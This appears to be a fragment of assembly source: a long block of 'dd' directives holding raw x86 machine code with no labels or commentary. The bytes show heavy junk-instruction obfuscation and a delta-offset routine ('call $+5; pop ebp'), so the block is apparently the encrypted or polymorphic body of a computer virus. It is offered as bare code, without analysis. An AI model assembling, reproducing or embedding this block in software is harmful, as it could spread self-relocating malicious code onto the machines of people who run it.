		dd 0F88B6647h, 0A63E858Bh, 0B70F05EAh, 1800C7FBh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 6C68C351h, 5645F985h, 19599D89h, 8B5B05E7h
		dd 0EAA642B5h, 8B665705h, 858B5BF8h, 5E73289h, 2CE1BD89h
		dd 68905E7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	84C35040h, 3DAC67E2h, 895E938Dh, 0E727A58Dh, 59BD8B05h
		dd 0FC05E721h, 699858Bh, 0D38005E7h, 4468930h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 82C35545h, 2E41457Fh
		dd 68C0F5Fh, 33000000h,	0E7069DBDh, 78BB9605h, 500E17BAh
		dd 6A9611B3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 9A8CC353h, 890FD98Bh, 0E72BC9B5h
		dd 3EB5FF05h, 6A05EAA6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 9718C352h, 24960C70h
		dd 0FFD1E16h, 1187h, 0CE900h, 5C1E0000h, 0ADF95D65h, 107FE724h
		dd 0CF81D341h, 293EF7E1h, 9C9BAB68h, 0E9525009h, 0Ah, 5EF4CED3h
		dd 0DB9416EAh, 310FD562h, 3481585Ah, 83985424h,	8D958909h
		dd 8D05E70Ah, 0EAA64685h, 45850105h, 5005E724h,	489DF8Bh
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0E9147601h, 8, 0CCB77008h, 773C44E0h, 0BC98501h
		dd 95FF05E7h, 5E71B71h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0B0C35040h, 897F5D3Bh, 0E714199Dh, 8791BF05h
		dd 0E86177D6h, 0Ch, 41A50910h, 97668C0Eh, 0BF883F3Eh, 90D8589h
		dd 0BF5F05E7h, 15B2BE36h, 273985C7h, 305E7h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0E31FB3C3h, 0B5C90613h, 870F0D87h, 3, 0BFBBF0Fh, 0E71D61BDh
		dd 46BD8305h, 5EAA6h, 53840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 71501EC3h
		dd 85FC603Dh, 8B53CAC9h, 0E70A21BDh, 3EE905h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0A3CF97C3h, 5E379EAh, 0C305045h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0D2C35343h, 0FB99A681h, 822A10C2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D5C35242h, 83FC11D0h
		dd 0E72739BDh, 850F0305h, 47Bh,	2699D8Bh, 0BD8305E7h, 5EAA646h
		dd 68840F00h, 0E9000004h, 12h, 0A62A4CEBh, 546308BCh, 1845A1Fh
		dd 269DD856h, 0B5FF197Fh, 5EAA646h, 1995FFF5h, 0B705E702h
		dd 3AB58B00h, 6A05EAA6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 6397C357h, 980E95D5h
		dd 96B1408Dh, 75D9D31h,	9D8B05E7h, 5E724B1h, 106C7h, 6A0001h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8BC52AC3h, 0E719C1BDh, 8B0F9605h, 0
		dd 96DE8B50h, 46B5FFF8h, 2905EAA6h, 0E7143595h,	0C5BD8B05h
		dd 0FF05E70Bh, 0E7003195h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 714E27B3h
		dd 0F012553h, 581h, 0F3816600h,	35B7D035h, 0A63AB58Bh
		dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0E76349C3h, 0F9417674h, 21BD8BB9h, 8B05E701h
		dd 0E7187D85h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 7CA11C22h, 0EE9h, 0E55C9E00h
		dd 0E3D3A80Eh, 2787EFA7h, 890C6812h, 0C486h, 0A9958B00h
		dd 6A05E71Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 83C4C357h, 6A04C2h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0DC9431C3h
		dd 0ECBB66A5h, 205089D8h, 2961BD09h, 0F5705E7h,	688h, 3D858900h
		dd 5B05E72Fh, 0BAC3858Dh, 0B06005EAh, 0C68166D5h, 896146DFh
		dd 0B886h, 11E900h, 598F0000h, 82346C09h, 7FE295Ch, 7549A9DEh
		dd 6A60021Eh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 46B5FF59h, 8B05EAA6h, 0E71D6DBDh
		dd 0BD95FF05h, 2905E71Ah, 0E723358Dh, 66609605h, 0E9C813B9h
		dd 0Dh,	2D0D02Eh, 56A97512h, 0F34A67F0h, 0E95061B6h, 5
		dd 3B483341h, 9D339675h, 5E716A5h, 0A646B5FFh, 6A05EAh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0B9AA08C3h, 81C1D43Bh, 4F6998CFh, 7995FF4Fh,	6A05E707h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 58CAC352h, 0DAE867AEh, 891A4416h,	0E71A258Dh
		dd 0DBD8305h, 5E72Dh, 81840Fh, 12E80000h, 83000000h, 0CECF0C57h
		dd 0E4B3E738h, 15088E67h, 0A6B020B2h, 6E91Ah, 5A520000h
		dd 0D5B68BB9h, 12E8505Bh, 68000000h, 6BB72571h,	83F64808h
		dd 2EF5AE36h, 0E9F2DC0Bh, 3DF7BF6Eh, 895B276Eh,	6A2434h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0BECAE2C3h, 13E9CBh,	8B7B0000h, 4886E18h, 0AE2CC30Dh
		dd 497369D3h, 6A41E9EFh, 0DBD31B0h, 0FF05E722h,	0EAA646B5h
		dd 66FA8B05h, 0F08BDF81h, 243595FFh, 6A05E7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 11E8D1C3h
		dd 0F5000000h, 0CEF6614h, 9261D547h, 0CF55401h,	307D3EE5h
		dd 3FD9D8Bh, 0F5F05E7h,	88Ch, 8E0F5200h, 0
		dd 46B5FF5Fh, 6A05EAA6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 71BBC357h, 13751C36h
		dd 0BD899AF0h, 5E7188Dh, 76D95FFh, 6A05E7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD8BACC3h
		dd 5E707E1h, 2D85BD83h,	0F0205E7h, 5384h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 36EF81FBh, 8B19F971h, 0E7118585h, 51006A05h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 123514B2h
		dd 0C6F8385Eh, 0BD890000h, 5E71A3Dh, 231985C7h,	5E7h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 24DC85C3h, 0B9092CF4h, 8B771C18h, 0E72711BDh, 0E3DB8105h
		dd 0E933B5C8h, 0FFFFF33Ch, 0D3816653h, 8B5B255Dh, 9E9C1h
		dd 0E0CA0000h, 9F54E352h, 8D1699ABh, 0E7139585h, 0D6E78005h
		dd 0B9606050h, 29924CF7h, 830Fh, 50610000h, 0F616052h
		dd 5AFA8B31h, 4896158h,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 58C0F16h, 0BF000000h
		dd 735EC8AEh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 1B7E33C3h, 6ADF8B86h, 79853100h
		dd 8D05E722h, 0EBF87985h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 6223FD39h
		dd 9D8B610Dh, 5E72B09h,	6A05C083h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 30C3C356h
		dd 860FD291h, 1Eh, 188D0Fh, 13E90000h, 0FA000000h, 5AF5F210h
		dd 94885E62h, 0B3120845h, 5A9E9F21h, 0B5899B3Dh, 5E71D4Dh
		dd 794DBF50h, 48947A9h,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 5C1114BEh, 32D5BD31h
		dd 820F05E7h, 8, 0E59D2B50h, 5B05E712h,	8D89006Ah, 5E71D41h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 4A0C04C3h, 8990DAEAh, 0E71C61BDh,	4D95FF05h
		dd 6605E71Ah, 2BBFD88Bh, 8D559025h, 0EAA4AA8Dh,	5DBB6605h
		dd 6AD1FFB7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 8642C353h, 0BE3E3448h,	66602157h
		dd 327BC781h, 12A58D8Bh, 666105E7h, 0BD83D98Bh,	5E72B8Dh
		dd 7F850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 58A1C351h, 81270C4Fh
		dd 0D9B70FA1h, 0D781026Ah, 68FBB3E7h, 50FBB390h, 0E990A8B3h
		dd 7, 9D8E62EAh, 0FFFDB44Ch, 0E71ABD95h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0C94CA05Ch, 1ACDBD33h, 0FE905E7h, 0BB000000h, 35C04FBCh
		dd 0FD942076h, 6DC74650h, 4BE94619h, 0E800000Dh, 0
		dd 83ED815Dh, 6A05EBF8h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 65D6C353h, 23220E7Fh
		dd 12E96C19h, 5C000000h, 3E5C69F2h, 0EF8B8016h,	0B3E47FDBh
		dd 2FD0B3h, 0FD858D9Bh,	8905EA90h, 0E706D5BDh, 36BF5005h
		dd 890C89F8h, 0E8602404h, 7, 75C9C66Dh,	2320D09Eh, 0E72D89B5h
		dd 64615E05h, 35FFh, 0DD8A0000h, 258964h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 66C1C355h, 0E70AEB81h, 8E8h,	0B4FE0400h, 462A6C97h
		dd 3D9D8BD9h, 5B05E725h, 14FD85FFh, 6A05E7h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 2BFD71C3h
		dd 96C8BB66h, 752256BBh, 6AFF6A5Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0AAC7C352h
		dd 67F82BBEh, 0B182F381h, 0E38169D7h, 3321C311h, 2411B5FFh
		dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 835DB7C3h, 2AB22767h, 0FB7E72Ch, 95FFFFB7h
		dd 5E70451h, 108E9h, 419D8B00h,	8905E704h, 0E7270995h
		dd 0F00B005h, 687h, 89858900h, 0E605E72Dh, 5E85270h, 46000000h
		dd 27C7B067h, 1C6D9589h, 5B5B05E7h, 666071E4h, 401AEF81h
		dd 2BA19589h, 3C6105E7h, 0C2830F61h, 89000000h,	0E71515B5h
		dd 0C8B60F05h, 1711B589h, 8B5305E7h, 0E72351BDh, 6BA5F05h
		dd 8B000000h, 9C18BD8h,	0E71A698Dh, 6E805h, 0A5400000h
		dd 4104BC42h, 5FDE8B66h, 0B704E8C1h, 0E2F7661Bh, 0C82BFB8Bh
		dd 8BFFBF0Fh, 5B529D1h,	0E905E720h, 71h, 27359589h, 665605E7h
		dd 5B283ABFh, 4C50858Bh, 9D8B4755h, 5E71181h, 2307C083h
		dd 0E70BB9BDh, 0C08305h, 0F0A0E381h, 0D03B2612h, 0B830Fh
		dd 3AE90000h, 1000000h,	0E704819Dh, 0FF8D8B05h,	66FFFFFFh
		dd 834E34BFh, 840F01E1h, 21h, 0FFA583F9h, 0FEFFFFFFh, 89DEB70Fh
		dd 0E711D995h, 50958905h, 0BB47554Ch, 400C23A3h, 0E9h
		dd 9EB58D00h, 6A05EB74h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0CB30C350h,	0BD89A4A4h
		dd 5E707A5h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0A61C19C3h, 0C195FF4Eh, 2305E721h
		dd 0E70379BDh, 0F8FB905h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 93010BC3h, 8CA09C12h
		dd 38A0FF0h, 66000000h,	0E183F88Bh, 53006AFCh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0FDB501B8h
		dd 0FC05E713h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	90C35242h, 1D9589A0h, 8905E72Ch, 0E731998Dh, 0B805h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0D22BCDC3h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 25C35040h, 870F8438h,	11h, 0CE9h, 250A7100h
		dd 88A77652h, 69BF8737h, 68A0FA7h, 8B000000h, 0E71481BDh
		dd 0C233AD05h, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 0AA7FE1B6h, 1341BD2Bh, 6A05E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 66570DC3h, 0FD1ACF38h
		dd 6880Fh, 9D8B0000h, 5E72421h,	880Dh, 25950100h, 8B05E720h
		dd 0E71AA995h, 4D8D8B05h, 0BF05E72Ah, 2CA9D3D5h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 2400D2C3h
		dd 0E92E7248h, 0Bh, 16424733h, 0EEA863FCh, 8B70E30Eh, 0E71B819Dh
		dd 65BD8305h, 5E718h, 49840Fh, 0FE90000h, 0BC000000h, 2F67FB1Ch
		dd 0A799FA31h, 59182C75h, 0B88E5Ch, 8D000000h, 0E74D248Dh
		dd 0DD952905h, 0FF05E727h, 57006AE1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0B099EECh
		dd 83AACF80h, 0E72739BDh, 840F0005h, 470h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 38C35242h, 9964971Ch
		dd 0BD83FC99h, 5E72739h, 5C840F01h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0D889C356h, 2EED9D8Bh, 830F05E7h, 3,	8317CF80h, 0E72739BDh
		dd 860F0305h, 3EDh, 60F9BF0Fh, 6619D380h, 6AD98Ch, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 90123FC3h, 0E1803EB3h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 94DE389Fh
		dd 8D0BE5C3h, 0C90AB121h, 1B0840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 17F8BBC3h
		dd 9D893003h, 5E70069h,	2731BD8Bh, 858B05E7h, 5E70699h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0A5C35545h
		dd 4E2AC4DCh, 22E5087Eh, 13098533h, 6A05E7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 511DFCC3h
		dd 74DF284Ch, 8960AC6Eh, 0E727618Dh, 65BD0305h,	6105E732h
		dd 14E890h, 0F5F30000h,	7F6F06D1h, 0F0979828h, 54A7423Eh
		dd 903125C3h, 0DE8BEB12h, 5250505Bh, 0FFA8B66h,	12E831h
		dd 24330000h, 137D73DDh, 566DF238h, 34F951Ch, 762ABC28h
		dd 0BA1ABF66h, 90585A5Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 7AC35747h, 0DB8166BAh, 6A2636h, 3E7E20BFh
		dd 4E81Ah, 3FF0000h, 0BB66001Fh, 605043DBh, 50585660h
		dd 5A310F52h, 0FE96158h, 8F000000h, 98C3D907h, 0FE3FB28h
		dd 518A3CC9h, 8B610A03h, 8B042444h, 24448900h, 7E804h
		dd 29C70000h, 0EA463D67h, 800F60AEh, 0
		dd 8E8h, 5864B800h, 0ED2C5878h,	5F615ED1h, 7195FF58h, 0F05E71Bh
		dd 881h, 0BD8B6000h, 5E72B41h, 46858961h, 6A05EAA6h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 7A00C356h, 0A4DB8013h, 1A5E9h, 0DE800h, 0F9D70000h
		dd 6929C187h, 6D712079h, 2996E813h, 0E701398Dh,	858B5F05h
		dd 5EAA63Eh, 1B9DBD89h,	0C705E7h, 18h, 663EC781h, 0B58B673Ah
		dd 5EAA642h, 0D88B6651h, 89858B5Fh, 8905E732h, 0E725859Dh
		dd 6A068905h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0B47BC353h, 2B305DD2h,	699858Bh
		dd 468905E7h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0FEE96267h, 8BF895C7h, 0E709B9BDh
		dd 5E95005h, 5A000000h,	9D4E5BAFh, 6A243489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 32FCC357h, 2D276873h, 2EF1B589h, 0B5FF05E7h,	5EAA63Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 90C35747h
		dd 0C8E0Fh, 8D0F0000h, 6, 820Fh, 10E90000h, 23000000h
		dd 14602510h, 41CE36E3h, 0C67310E1h, 68153067h,	84BE0D6Ch
		dd 10A8BB66h, 93240481h, 6A7B60F6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0B515C357h
		dd 88D0Fh, 830F0000h, 2, 0E381FB8Bh, 28A0B4D2h,	0A646858Dh
		dd 8B6005EAh, 0E721099Dh, 9AC1BE05h, 906136A6h,	3571BB50h
		dd 6A904D91h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 8E29C356h, 9D9F761Ah, 7195FF13h
		dd 0F905E71Bh, 15CD8589h, 896105E7h, 0E7328D9Dh, 3985C705h
		dd 305E727h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 3C43C352h, 75BD8944h
		dd 8305E729h, 0EAA646BDh, 840F0005h, 15h, 273D9D89h, 0BD8905E7h
		dd 5E706A9h, 1FE9h, 0D5BB6600h,	0C305001h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0BFC35242h, 2C51BD8Bh, 8E905E7h, 50000000h
		dd 0C5B4F4ACh, 83F541DAh, 0E72739BDh, 850F0305h, 382h
		dd 9CC0BB66h, 0A646BD83h, 0F0005EAh, 37184h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 4AADEF0Dh, 0FF00DC01h, 0EAA646B5h, 85896005h, 5E71FEDh
		dd 883BC781h, 0FF61457Eh, 0E7021995h, 0B5952905h, 8B05E728h
		dd 0EAA63AB5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 63380AB2h, 6C71144h, 10001h
		dd 0AB18589h, 895005E7h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 42058EC3h, 22429BDCh
		dd 8589BE0Fh, 5E70B11h,	0A646B5FFh, 95FF05EAh, 5E70031h
		dd 8BF98B66h, 0EAA63AB5h, 0DE905h, 11420000h, 4F66362h
		dd 48BC66E3h, 8B48201Ah, 0E7187D85h, 13E805h, 0D59F0000h
		dd 9FFF2529h, 80F755ACh, 7BB00BE2h, 8CE2B3E5h, 68A0F3Ah
		dd 9000000h, 0E7250DBDh, 86895B05h, 0C4h, 329B3FBBh, 0A9958B72h
		dd 6005E71Ah, 60CF8B66h, 195D9D8Bh, 616105E7h, 6604C283h
		dd 606EF81h, 89205089h,	0E723118Dh, 0C3858D05h,	6A05EABAh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 441EC357h, 9F34A7E2h, 89F9C44Bh, 0B886h
		dd 10E85700h, 0EA000000h, 0B531B021h, 6BCFEFFFh, 6116B1C0h
		dd 89008F8Dh, 0E7182D95h, 6A5B5F05h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0CE0AE012h
		dd 31C13FCDh, 0B5FF5B56h, 5EAA646h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 10C35545h, 0F7903C0Fh, 0E99589D5h
		dd 0FF05E72Ch, 0E71ABD95h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0D1FBDECh
		dd 99AD9BCh, 0E70095BDh, 52509605h, 14E9h, 8791BF00h, 5BCFDF69h
		dd 9540912Eh, 0D5553A4Bh, 41F1CA37h, 50310F22h,	9E952h
		dd 0A6BB0000h, 6DA91A63h, 0FECA9BBh, 8D0F31h, 5A000000h
		dd 50585A58h, 168CBB66h, 499D8B96h, 0FF05E700h,	0EAA646B5h
		dd 65BD2305h, 0FF05E711h, 0E7077995h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0BD83E3FEh, 5E72D0Dh, 32840F00h, 33000000h, 0E706B1BDh
		dd 0D98A9605h, 96DE8B50h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 43C35040h, 5AF32EEDh,	579D3BF0h, 46B5FFB6h
		dd 6A05EAA6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 525CC351h, 0ADAC3727h,	456FAC79h
		dd 10E9h, 0BF25E900h, 0F70890E7h, 84C168BDh, 9F4E8DE6h
		dd 3595FFE5h, 2905E724h, 0E7040DBDh, 46B5FF05h,	0F505EAA6h
		dd 76D95FFh, 0BD8305E7h, 5E72D85h, 56840F02h, 60000000h
		dd 28C0Fh, 52B40000h, 0AE8h, 75B66B00h,	33B97275h, 8BC4FDA0h
		dd 0E709F59Dh, 8B615F05h, 0E7118585h, 599D3105h, 0C605E72Dh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 9373CBC3h, 8BBD47E4h, 0E717FD9Dh,	1985C705h
		dd 5E723h, 80000000h, 0C2E9DBD7h, 6AFFFFF3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 84CC353h, 81BF1513h,	8B550F4Fh, 62A2BBC1h, 858D7857h
		dd 5E71395h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0A9C35343h, 0A8F470AFh,	2D5D9D8Bh, 669005E7h, 506777BBh
		dd 51511DBBh, 6A9032h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0D3B00C3h, 23F1D7A0h, 0E721D59Dh
		dd 0F006A05h, 386h, 0D8BF0F00h,	6A54EB80h, 8DD98B00h, 0EC07C285h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 4097E89Ah, 23FFD95Bh, 0FE8BE564h, 231D9D8Bh
		dd 9E905E7h, 44000000h,	0EEAA600h, 0BD9910A7h, 8905C083h
		dd 0E71B599Dh, 8B665005h, 240489DEh, 227D8589h,	6A05E7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 78C35646h
		dd 0D1ED2C58h, 66D76F2Eh, 2A9D9531h, 9D8B05E7h,	5E728B5h
		dd 0BD8B006Ah, 5E711B1h, 1A4D95FFh, 8D8D05E7h, 5EAA4AAh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0C3C35747h
		dd 8D0F5685h, 16h, 11E9h, 43761600h, 0BF017F5Eh, 3E7CA423h
		dd 733DC2B6h, 880F78DDh, 6, 5A9BD8Bh, 0D1FF05E7h, 2DB58960h
		dd 6105E72Ch, 2B8DBD83h, 0F0105E7h, 8E85h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 917F6E99h, 0C000CEC7h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0CF4877C3h, 3F0CA72Ah
		dd 0A84DE381h, 66511A8Eh, 4E82EF81h, 14E9905Bh,	9A000000h
		dd 27739F6Ch, 0D4DFC88Eh, 48B78CF5h, 2CF0958Fh,	503502C5h
		dd 35858990h, 8905E720h, 0E72CF1BDh, 0BD95FF05h, 0F05E71Ah
		dd 682h, 559D8B00h, 0E905E70Ah,	0E0Ah, 0E8h, 0ED815D00h
		dd 5EC07CCh, 0BDF78166h, 52006A1Dh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0BD8B57E9h, 5E7272Dh
		dd 0E381665Bh, 858D802Eh, 5EA90FDh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 57C35141h, 0F00CEA6Ch, 0C306BD1Dh
		dd 11E91Fh, 84100000h, 0EE3F3407h, 8E36A33Bh, 8CC12069h
		dd 29B111A3h, 0E71C79BDh, 12E89005h, 47000000h,	49A384ECh
		dd 1DA23BBFh, 695F9167h, 2DA00307h, 2870FB3h, 60000000h
		dd 8B505B61h, 0FF6490DFh, 35h, 0B1BD8900h, 6005E729h, 2B4CF780h
		dd 0E7175185h, 89646105h, 25h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 6CA93B9Ch
		dd 0FCC0C0D4h, 0FFF93D65h, 0E714FD85h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 6953755Ch, 81709FF3h, 3C2E99CFh, 89FF6A32h, 0E71CC185h
		dd 29B5FF05h, 6A05E72Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 8417C351h, 1BD5E16Ch
		dd 0B70F91B7h, 5195FFF9h, 0E905E704h, 13Dh, 1D298D89h
		dd 0F78105E7h, 7786AE8Ah, 0FA8B00B0h, 71E470E6h, 0F613CF8h
		dd 12083h, 6D9D8B00h, 0F05E718h, 7BB3C8B6h, 6BAh, 759D3300h
		dd 8B05E727h, 0A94DBFC1h, 0BD8B7BB0h, 5E71A51h,	3104E8C1h
		dd 0E722559Dh, 0E2F76605h, 91BD8B56h, 5B05E712h, 0B9BD8B50h
		dd 5B05E721h, 9D33C82Bh, 5E705E5h, 168E0Fh, 11E90000h
		dd 4C000000h, 39036E15h, 0C250B991h, 0B5A0FB47h, 3B526818h
		dd 8960D18Bh, 0E709D985h, 0AEE96105h, 0F9000000h, 4E49858Bh
		dd 0CB814400h, 285ECF61h, 6007C083h, 0C01B58Bh,	6E805E7h
		dd 0A1000000h, 0D855DF4Fh, 58595352h, 0C08361h,	11E9h
		dd 0C6893100h, 85E9BBADh, 0EBF7F614h, 0B9D7381Eh, 830F0DEEh
		dd 1Fh,	13E8h, 652A4500h, 4F930C5Bh, 0D54F7791h, 666FB759h
		dd 56B2BB80h, 860Fh, 3B5F0000h,	7830FD0h, 8B000000h, 3BE9DFh
		dd 8D8B0000h, 0FFFFFFFFh, 48A5CB81h, 0E1835AB9h, 26840F01h
		dd 89000000h, 0E70CD1BDh, 0FFA58305h, 0FEFFFFFFh, 4820Fh
		dd 0BB660000h, 9589514Bh, 44004E49h, 49DBBF66h,	0E9h, 2DB58D00h
